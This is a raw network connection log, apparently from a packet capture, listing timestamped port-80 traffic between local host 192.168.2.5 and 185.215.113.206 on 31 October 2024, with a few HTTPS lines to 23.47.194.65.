Oct 31, 2024 01:18:52.926805973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926816940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926827908 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926866055 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926867008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926877022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926887035 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926899910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926903009 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926911116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.926928043 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.926964998 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927006006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927022934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927033901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927040100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927042961 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927058935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927067995 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927071095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927082062 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927087069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927092075 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927095890 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927098036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927113056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927124977 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927134991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927139997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927160025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927171946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927182913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927185059 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927194118 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927206993 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927217007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927236080 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927236080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927248001 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927278996 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927289963 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927300930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927318096 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927320957 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927342892 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927351952 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927555084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927582026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927592993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927604914 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927634954 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927644014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927654982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927665949 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927683115 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927710056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927728891 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927803993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927814960 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927824974 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927843094 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927850962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927855015 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927865028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927865982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927877903 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927885056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927906036 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927912951 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927917004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927928925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927931070 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927948952 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927959919 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.927964926 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.927987099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928008080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928136110 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928174973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928184032 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928186893 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928214073 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928215027 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928219080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928227901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928240061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928251982 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928267002 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928268909 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928281069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928292990 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928318977 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928368092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928380966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928391933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928405046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928416014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928417921 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928443909 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928462982 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928482056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928493023 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928504944 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928515911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928520918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928528070 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928553104 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928586006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928596973 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928603888 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928608894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928616047 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928647041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928889036 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928937912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.928962946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.928976059 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929111004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929121971 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929132938 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929138899 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929150105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929153919 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929161072 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929172039 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929177046 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929183006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929194927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929205894 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929219007 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929222107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929229021 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929233074 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929244041 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929248095 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929260969 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929271936 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929271936 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929291964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929305077 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929305077 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929315090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929320097 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929327965 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929337978 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929348946 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929348946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929361105 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929371119 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929372072 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929379940 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929390907 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929405928 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929416895 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929421902 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929428101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929440975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929450989 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929451942 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929462910 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929469109 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929481030 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929492950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929493904 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929503918 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929517031 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929522038 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929527044 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929537058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929548025 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929552078 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929555893 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929563046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929574013 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929582119 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929585934 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929608107 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929641962 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929658890 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929670095 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929688931 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929701090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929713964 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929725885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929743052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929778099 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929862022 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929873943 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929883957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929896116 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929900885 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929907084 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929919958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929930925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929933071 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929940939 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929943085 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929960966 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929963112 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929974079 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929975986 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.929985046 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.929996014 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930006027 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930007935 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930017948 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930025101 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930031061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930036068 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930037022 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930051088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930063009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930074930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930078983 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930087090 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930095911 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930100918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930108070 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930119991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930119991 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930136919 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:52.930140018 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930165052 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.930185080 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:52.997513056 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.015352011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.193686962 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.194076061 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.194092035 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.194375992 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.194886923 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.194937944 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.195054054 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.235335112 CET	443	49993	23.47.194.65	192.168.2.5
Oct 31, 2024 01:18:53.236601114 CET	49993	443	192.168.2.5	23.47.194.65
Oct 31, 2024 01:18:53.289083004 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289160967 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289189100 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289201975 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289213896 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289227009 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289238930 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289248943 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289249897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289268970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289285898 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289287090 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289298058 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289309025 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289311886 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289320946 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289331913 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289333105 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289345026 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289350033 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289372921 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289416075 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289426088 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289437056 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289447069 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289458990 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289463997 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289469957 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289475918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289482117 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289491892 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289504051 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289506912 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289521933 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289521933 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289534092 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289544106 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289555073 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289558887 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289566994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289572954 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289583921 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289594889 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289597988 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289604902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289613008 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289616108 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289635897 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289639950 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289653063 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289669037 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289670944 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289683104 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289686918 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289694071 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289705992 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289712906 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289716005 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289727926 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289729118 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289736986 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289748907 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289760113 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289764881 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289777040 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289777994 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289788961 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289798975 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289800882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289843082 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289858103 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289860010 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289870024 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289880991 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289891958 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.289896965 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289910078 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.289937019 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290003061 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290019989 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290030003 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290040970 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290049076 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290060043 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290067911 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290071011 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290077925 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290087938 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290092945 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290100098 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290111065 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290127993 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290138006 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290142059 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290149927 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290165901 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290165901 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290177107 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290186882 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290189028 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290199041 CET	49962	80	192.168.2.5	185.215.113.206
Oct 31, 2024 01:18:53.290201902 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290216923 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290234089 CET	80	49962	185.215.113.206	192.168.2.5
Oct 31, 2024 01:18:53.290242910 CET	49962	80	192.168.2.5	185.215.113.206
